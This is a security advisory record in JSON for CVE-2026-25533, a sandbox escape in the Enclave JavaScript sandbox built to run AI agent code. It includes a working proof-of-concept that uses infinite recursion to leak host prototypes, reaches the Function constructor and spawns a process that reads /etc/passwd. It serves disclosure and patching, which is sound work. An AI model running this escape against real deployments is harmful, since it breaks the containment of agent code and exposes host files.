{"id":"CVE-2026-25533","aliases":["CVE-2026-25533","GHSA-x39w-8vm5-5m3p"],"related":[],"kind":"vulnerability","state":"published","title":"Enclave has a sandbox escape via infinite recursion and error objects","summary":"Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.10.1, the existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references. This vulnerability is fixed in 2.10.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.10.1, the existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references. This vulnerability is fixed in 2.10.1.","source":"cvelist"},{"lang":"en","text":"**Note:** The npm package has moved to `@enclave-vm/core` (formerly `enclave-vm`).  \nAll fixed versions and guidance refer to `@enclave-vm/core`.\n\n### Summary\nThe existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.\n\n### Details\nThere is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.\n\n### PoC\nThe following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.\n\n```js\nimport { Enclave } from 'enclave-vm';\n\n// Create enclave with a tool handler\nconst enclave = new Enclave({\n  timeout: 5000,\n  maxToolCalls: 10,\n  maxIterations: 1000,\n  toolHandler: async (toolName, args) => {\n    // Your tool execution logic\n    return { success: true, data: `Called ${toolName}` };\n  },\n});\n\n// Execute AgentScript code\nconst result = await enclave.run(`\nlet res = null, rootProt = null;\nlet a = () =>{\ntry {\n  a();\n} catch (e) {\n  rootProt = e[[\"__proto__\"]][[\"__proto__\"]][[\"__proto__\"]];\n  res=e.stack\n}\n}\na();\nrootProt[[\"foo\"]] = rootProt[[\"toString\"]][[\"constructor\"]]  \nrootProt[[\"foo\"]](\"let options = {file: 'cat', args: [null,'/etc/passwd'], envPairs: [], stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true } ]}; console.log(process.binding('spawn_sync').spawn(options).output[1].toString())\")();\n`);\n\n```\n### Impact\nSandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Enclave es un sandbox seguro de JavaScript diseñado para la ejecución segura de código de agentes de IA. Antes de 2.10.1, las capas de seguridad existentes en enclave-vm son insuficientes: La sanitización AST puede ser eludida con accesos dinámicos a propiedades, el endurecimiento de los objetos de error no cubre el comportamiento peculiar o del módulo vm y la prevención de acceso al constructor de funciones puede ser eludida aprovechando referencias a objetos del host. Esta vulnerabilidad está corregida en 2.10.1.","source":"nvd"}],"published":"2026-02-05T17:49:35.000Z","modified":"2026-06-17T10:24:48.443Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","score":6.4,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","score":6.4,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-835"],"affected":[{"ranges":[{"version":"< 2.10.1","status":"affected"}],"vendor":"agentfront","product":"enclave","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"2.7.0"}],"ecosystem":"npm","package":"enclave-vm","purl":"pkg:npm/enclave-vm","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.10.1"}],"ecosystem":"npm","package":"@enclave-vm/core","purl":"pkg:npm/%40enclave-vm/core","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"2.7.0","fixed":"2.10.1"}],"vendor":"agentfront","product":"enclave","cpe":"cpe:2.3:a:agentfront:enclave:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/agentfront/enclave/security/advisories/GHSA-x39w-8vm5-5m3p","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/agentfront/enclave/commit/2fcf5da81e7e2578ede6f94cae4f379165426dca","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf","tags":["technical-description","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25533","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/agentfront/enclave","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"partial","date":"2026-02-09T15:19:19.464Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-25533","url":"https://www.cve.org/CVERecord?id=CVE-2026-25533","licence":"CVE Terms of Use","modified":"2026-02-09T15:27:09.399Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-x39w-8vm5-5m3p","url":"https://github.com/advisories/GHSA-x39w-8vm5-5m3p","licence":"CC-BY-4.0","modified":"2026-02-07T00:53:41.866Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-25533","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25533","licence":"Public domain","modified":"2026-06-17T10:24:48.443Z"}],"updatedAt":"2026-11-25T22:59:13.583Z","epss":{"score":0.00255,"percentile":0.18291,"date":"2026-12-01T12:00:22.000Z"}}